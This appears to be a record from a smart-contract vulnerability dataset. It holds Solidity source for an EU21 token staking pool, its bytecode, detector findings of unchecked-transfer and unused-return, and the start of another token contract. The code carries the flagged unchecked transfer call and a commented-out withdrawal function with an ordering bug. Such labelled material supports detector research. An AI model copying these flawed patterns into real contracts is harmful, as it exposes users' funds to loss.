function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract EU21_Turkey is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// EU21 token contract address
address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3;
// amount disbursed per victory
uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY
// total games rewards for each pool
uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE)
// unstaking possible after ...
uint public constant unstakeTime = 37 days;
// claiming possible after ...
uint public constant claimTime = 37 days;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
uint public totalDisbursed = 0;
bool public ended ;
uint public startTime = block.timestamp;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public pending;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
function disburse () public onlyOwner returns (bool){
require(!ended, "Staking already ended");
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(amountToDisburse);
return true;
}
//Disburse and End the staking pool
function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){
require(!ended, "Staking already ended");
require(_finalDisburseAmount > 0);
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(_finalDisburseAmount);
ended = true;
return true;
}
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
ended = true;
return true;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
pending[account] = 0;
depositedTokens[account] = depositedTokens[account].add(pendingDivs);
totalDeposited = totalDeposited.add(pendingDivs);
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
uint pendingDivs = pending[_holder];
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDeposited = totalDeposited.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function claim() public{
require(holders.contains(msg.sender));
require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet.");
require(pending[msg.sender] > 0);
uint _reward = pending[msg.sender];
pending[msg.sender] = 0;
require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_reward);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward);
if(depositedTokens[msg.sender] == 0){
holders.remove(msg.sender);
}
}
function withdraw(uint _amount) public{
require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet.");
require(depositedTokens[msg.sender] >= _amount);
require(_amount > 0);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount);
totalDeposited = totalDeposited.sub(_amount);
require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens.");
if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){
holders.remove(msg.sender);
}
}
/*
function withdrawAllAfterEnd() public {
require(ended, "Staking has not ended");
uint _pend = pending[msg.sender];
uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);
require(amountToWithdraw >= 0, "Invalid amount to withdraw");
pending[msg.sender] = 0;
depositedTokens[msg.sender] = 0;
totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_pend);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);
holders.remove(msg.sender);
}*/
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea264697066735822122014b0cd872fab9ad0e1721ec970e9a5f72976b8cd845c62ceed541e7d3f7a10b364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,884 |
0x40cc80ec3cfb5b6b5cb729f9fd71b3e6a93e86a8
|
pragma solidity >=0.4.22 <0.6.0;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
